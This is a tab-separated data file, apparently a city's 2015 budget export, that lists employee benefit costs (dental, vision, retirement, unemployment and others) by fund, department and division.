14744	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2015	502.0	0	0	0	0	0	0.0	0	0	0	0	0.0	502.0
14745	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES		UNEMPLOYMENT	812.0	Salaries and Wages	2015	11300.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11300.0
14746	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES		DCAP	812.0	Salaries and Wages	2015	1584.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1584.0
14747	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2015	92339.0	0	0	0	0	0	0.0	0	0	0	0	0.0	92339.0
14748	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511747.0	CASH-IN-LIEU	806.0	Salaries and Wages	2015	1800.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1800.0
14749	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511748.0	DENTAL	806.0	Salaries and Wages	2015	15088.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15088.0
14750	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511749.0	VISION	804.0	Salaries and Wages	2015	2191.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2191.0
14751	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511748.0	DENTAL	804.0	Salaries and Wages	2015	17759.0	0	0	0	0	0	0.0	0	0	0	0	0.0	17759.0
14752	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511748.0	DENTAL	804.0	Salaries and Wages	2015	48152.0	0	0	0	0	0	0.0	0	0	0	0	0.0	48152.0
14753	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511748.0	DENTAL	816.0	Salaries and Wages	2015	24577.0	0	0	0	0	0	0.0	0	0	0	0	0.0	24577.0
14754	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511748.0	DENTAL	810.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14755	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2015	8270.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8270.0
14756	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2015	9167.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9167.0
14757	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511748.0	DENTAL	812.0	Salaries and Wages	2015	12378.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12378.0
14758	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2015	92334.0	0	0	0	0	0	0.0	0	0	0	0	0.0	92334.0
14759	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2015	114750.0	0	0	0	0	0	0.0	0	0	0	0	0.0	114750.0
14760	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511773.0	RETIREMENT - MISC. EMPL	812.0	Salaries and Wages	2015	188961.0	0	0	0	0	0	0.0	0	0	0	0	0.0	188961.0
14761	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511749.0	VISION	806.0	Salaries and Wages	2015	4102.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4102.0
14762	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511774.0	RETIREMENT - AS NEEDED	806.0	Salaries and Wages	2015	9638.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9638.0
14763	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511748.0	DENTAL	806.0	Salaries and Wages	2015	166387.0	0	0	0	0	0	0.0	0	0	0	0	0.0	166387.0
14764	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511774.0	RETIREMENT - AS NEEDED	806.0	Salaries and Wages	2015	1107.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1107.0
14765	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511748.0	DENTAL	806.0	Salaries and Wages	2015	17759.0	0	0	0	0	0	0.0	0	0	0	0	0.0	17759.0
14766	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511748.0	DENTAL	804.0	Salaries and Wages	2015	9758.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9758.0
14767	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2015	387.0	0	0	0	0	0	0.0	0	0	0	0	0.0	387.0
14768	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS		UNEMPLOYMENT	804.0	Salaries and Wages	2015	1556.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1556.0
14769	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION		EAP	804.0	Salaries and Wages	2015	1562.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1562.0
14770	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION		DCAP	804.0	Salaries and Wages	2015	1076.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1076.0
14771	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		UNEMPLOYMENT	804.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14772	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)		UNEMPLOYMENT	808.0	Salaries and Wages	2015	3853.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3853.0
14773	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2015	2619.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2619.0
14774	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		EAP	810.0	Salaries and Wages	2015	938.0	0	0	0	0	0	0.0	0	0	0	0	0.0	938.0
14775	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		DISABILITY INSURANCE	810.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14776	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2015	1849.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1849.0
14777	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES		DCAP	812.0	Salaries and Wages	2015	790.0	0	0	0	0	0	0.0	0	0	0	0	0.0	790.0
14778	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES		LIFE INSURANCE & AD & D	812.0	Salaries and Wages	2015	3684.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3684.0
14779	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT		DISABILITY INSURANCE	812.0	Salaries and Wages	2015	5637.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5637.0
14780	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2015	12320.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12320.0
14781	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2015	157105.0	0	0	0	0	0	0.0	0	0	0	0	0.0	157105.0
14782	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2015	15860.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15860.0
14783	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2015	99733.0	0	0	0	0	0	0.0	0	0	0	0	0.0	99733.0
14784	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511746.0	MED TRUST - MISC. EMPL	840.0	Salaries and Wages	2015	80999.0	0	0	0	0	0	0.0	0	0	0	0	0.0	80999.0
14785	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2015	96286.0	0	0	0	0	0	0.0	0	0	0	0	0.0	96286.0
14786	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511749.0	VISION	806.0	Salaries and Wages	2015	14476.0	0	0	0	0	0	0.0	0	0	0	0	0.0	14476.0
14787	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2015	8428.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8428.0
14788	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2015	432.0	0	0	0	0	0	0.0	0	0	0	0	0.0	432.0
14789	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES		UNEMPLOYMENT	812.0	Salaries and Wages	2015	5956.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5956.0
14790	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES		EAP	812.0	Salaries and Wages	2015	1148.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1148.0
14791	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT		LIFE INSURANCE & AD & D	812.0	Salaries and Wages	2015	2764.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2764.0
14792	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES		EAP	812.0	Salaries and Wages	2015	2305.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2305.0
14793	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES		DISABILITY INSURANCE	812.0	Salaries and Wages	2015	11363.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11363.0
14794	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION		UNEMPLOYMENT	816.0	Salaries and Wages	2015	3533.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3533.0
14795	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION		DCAP	816.0	Salaries and Wages	2015	428.0	0	0	0	0	0	0.0	0	0	0	0	0.0	428.0
14796	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.		EAP	816.0	Salaries and Wages	2015	2195.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2195.0
14797	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2015	3027.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3027.0
14798	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS		UNEMPLOYMENT	804.0	Salaries and Wages	2015	2537.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2537.0
14799	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		EAP	806.0	Salaries and Wages	2015	2924.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2924.0
14800	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION		UNEMPLOYMENT	806.0	Salaries and Wages	2015	71628.0	0	0	0	0	0	0.0	0	0	0	0	0.0	71628.0
14801	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV		EAP	806.0	Salaries and Wages	2015	8961.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8961.0
14802	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2015	28623.0	0	0	0	0	0	0.0	0	0	0	0	0.0	28623.0
14803	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)		DISABILITY INSURANCE	808.0	Salaries and Wages	2015	5572.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5572.0
14804	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING		DCAP	808.0	Salaries and Wages	2015	1942.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1942.0
14805	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2015	3740.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3740.0
14806	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		UNEMPLOYMENT	810.0	Salaries and Wages	2015	4417.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4417.0
14807	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		UNEMPLOYMENT	810.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14808	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2015	2791.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2791.0
14809	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2015	1766.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1766.0
14810	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2015	629.0	0	0	0	0	0	0.0	0	0	0	0	0.0	629.0
14811	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT		UNEMPLOYMENT	812.0	Salaries and Wages	2015	4744.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4744.0
14812	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES		UNEMPLOYMENT	812.0	Salaries and Wages	2015	12928.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12928.0
14813	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT		DISABILITY INSURANCE	816.0	Salaries and Wages	2015	2905.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2905.0
14814	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING		EAP	816.0	Salaries and Wages	2015	829.0	0	0	0	0	0	0.0	0	0	0	0	0.0	829.0
14815	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS		EAP	804.0	Salaries and Wages	2015	728.0	0	0	0	0	0	0.0	0	0	0	0	0.0	728.0
14816	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES		UNEMPLOYMENT	806.0	Salaries and Wages	2015	54174.0	0	0	0	0	0	0.0	0	0	0	0	0.0	54174.0
14817	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE		UNEMPLOYMENT	806.0	Salaries and Wages	2015	54927.0	0	0	0	0	0	0.0	0	0	0	0	0.0	54927.0
14818	BA	IS	1	General Fund	310	FIRE	315	TRAINING		DCAP	806.0	Salaries and Wages	2015	216.0	0	0	0	0	0	0.0	0	0	0	0	0.0	216.0
14819	BA	IS	1	General Fund	310	FIRE	315	TRAINING		DISABILITY INSURANCE	806.0	Salaries and Wages	2015	361.0	0	0	0	0	0	0.0	0	0	0	0	0.0	361.0
14820	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER		EAP	840.0	Salaries and Wages	2015	4790.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4790.0
14821	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER		LIFE INSURANCE & AD & D	840.0	Salaries and Wages	2015	4592.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4592.0
14822	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER		DISABILITY INSURANCE	840.0	Salaries and Wages	2015	11788.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11788.0
14823	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY		EAP	808.0	Salaries and Wages	2015	729.0	0	0	0	0	0	0.0	0	0	0	0	0.0	729.0
14824	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511774.0	RETIREMENT - AS NEEDED	812.0	Salaries and Wages	2015	25815.0	0	0	0	0	0	0.0	0	0	0	0	0.0	25815.0
14825	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511748.0	DENTAL	808.0	Salaries and Wages	2015	5956.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5956.0
14826	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511746.0	MED TRUST - MISC. EMPL	806.0	Salaries and Wages	2015	19330.0	0	0	0	0	0	0.0	0	0	0	0	0.0	19330.0
14827	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511743.0	MEDICAL - MISC. EMPL	806.0	Salaries and Wages	2015	764740.0	0	0	0	0	0	0.0	0	0	0	0	0.0	764740.0
14828	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511773.0	RETIREMENT - MISC. EMPL	806.0	Salaries and Wages	2015	604789.0	0	0	0	0	0	0.0	0	0	0	0	0.0	604789.0
14829	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511746.0	MED TRUST - MISC. EMPL	806.0	Salaries and Wages	2015	1770.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1770.0
14830	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL		UNEMPLOYMENT	804.0	Salaries and Wages	2015	478.0	0	0	0	0	0	0.0	0	0	0	0	0.0	478.0
14831	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL		EAP	804.0	Salaries and Wages	2015	847.0	0	0	0	0	0	0.0	0	0	0	0	0.0	847.0
14832	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION		UNEMPLOYMENT	804.0	Salaries and Wages	2015	6927.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6927.0
14833	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511748.0	DENTAL	804.0	Salaries and Wages	2015	5059.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5059.0
14834	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2015	1841.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1841.0
14835	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511748.0	DENTAL	816.0	Salaries and Wages	2015	37029.0	0	0	0	0	0	0.0	0	0	0	0	0.0	37029.0
14836	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511748.0	DENTAL	804.0	Salaries and Wages	2015	6727.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6727.0
14837	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2015	1617.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1617.0
14838	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511748.0	DENTAL	812.0	Salaries and Wages	2015	13149.0	0	0	0	0	0	0.0	0	0	0	0	0.0	13149.0
14839	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511774.0	RETIREMENT - AS NEEDED	812.0	Salaries and Wages	2015	6908.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6908.0
14840	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511749.0	VISION	812.0	Salaries and Wages	2015	3234.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3234.0
14841	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511748.0	DENTAL	840.0	Salaries and Wages	2015	48650.0	0	0	0	0	0	0.0	0	0	0	0	0.0	48650.0
14842	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511774.0	RETIREMENT - AS NEEDED	808.0	Salaries and Wages	2015	55854.0	0	0	0	0	0	0.0	0	0	0	0	0.0	55854.0
14843	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511774.0	RETIREMENT - AS NEEDED	840.0	Salaries and Wages	2015	3920.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3920.0
14844	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES		DCAP	812.0	Salaries and Wages	2015	2156.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2156.0
14845	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.		UNEMPLOYMENT	816.0	Salaries and Wages	2015	11311.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11311.0
14846	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2015	8382.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8382.0
14847	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION		DISABILITY INSURANCE	806.0	Salaries and Wages	2015	107036.0	0	0	0	0	0	0.0	0	0	0	0	0.0	107036.0
14848	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511749.0	VISION	840.0	Salaries and Wages	2015	1169.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1169.0
14849	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2015	12942.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12942.0
14850	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT		EAP		Salaries and Wages	2015	733.0	0	0	0	0	0	0.0	0	0	0	0	0.0	733.0
14851	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511749.0	VISION	804.0	Salaries and Wages	2015	1449.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1449.0
14852	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511749.0	VISION	816.0	Salaries and Wages	2015	5138.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5138.0
14853	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511749.0	VISION	816.0	Salaries and Wages	2015	1610.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1610.0
14854	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511749.0	VISION	804.0	Salaries and Wages	2015	1022.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1022.0
14855	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511749.0	VISION	812.0	Salaries and Wages	2015	4396.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4396.0
14856	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511747.0	CASH-IN-LIEU	840.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14857	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511749.0	VISION	808.0	Salaries and Wages	2015	12033.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12033.0
14858	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511773.0	RETIREMENT - MISC. EMPL	806.0	Salaries and Wages	2015	1058196.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1058196.0
14859	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL		DISABILITY INSURANCE	804.0	Salaries and Wages	2015	691.0	0	0	0	0	0	0.0	0	0	0	0	0.0	691.0
14860	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION		EAP	804.0	Salaries and Wages	2015	1033.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1033.0
14861	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV		DCAP	806.0	Salaries and Wages	2015	6172.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6172.0
14862	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV		DISABILITY INSURANCE	806.0	Salaries and Wages	2015	56974.0	0	0	0	0	0	0.0	0	0	0	0	0.0	56974.0
14863	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2015	3716.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3716.0
14864	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE		DISABILITY INSURANCE	806.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14865	BA	IS	1	General Fund	310	FIRE	315	TRAINING		UNEMPLOYMENT	806.0	Salaries and Wages	2015	2070.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2070.0
14866	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER		UNEMPLOYMENT	840.0	Salaries and Wages	2015	18759.0	0	0	0	0	0	0.0	0	0	0	0	0.0	18759.0
14867	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER		DCAP	840.0	Salaries and Wages	2015	3300.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3300.0
14868	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT		DCAP		Salaries and Wages	2015	504.0	0	0	0	0	0	0.0	0	0	0	0	0.0	504.0
14869	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY		DISABILITY INSURANCE	808.0	Salaries and Wages	2015	3591.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3591.0
14870	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE		DCAP	808.0	Salaries and Wages	2015	467.0	0	0	0	0	0	0.0	0	0	0	0	0.0	467.0
14871	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE		DISABILITY INSURANCE	808.0	Salaries and Wages	2015	6697.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6697.0
14872	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2015	17438.0	0	0	0	0	0	0.0	0	0	0	0	0.0	17438.0
14873	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2015	5059.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5059.0
14874	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING		UNEMPLOYMENT	816.0	Salaries and Wages	2015	3992.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3992.0
14875	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING		DISABILITY INSURANCE	816.0	Salaries and Wages	2015	5989.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5989.0
14876	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2015	2395.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2395.0
14877	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.		DCAP	816.0	Salaries and Wages	2015	1510.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1510.0
14878	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION		EAP	806.0	Salaries and Wages	2015	16370.0	0	0	0	0	0	0.0	0	0	0	0	0.0	16370.0
14879	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION		DCAP	806.0	Salaries and Wages	2015	11272.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11272.0
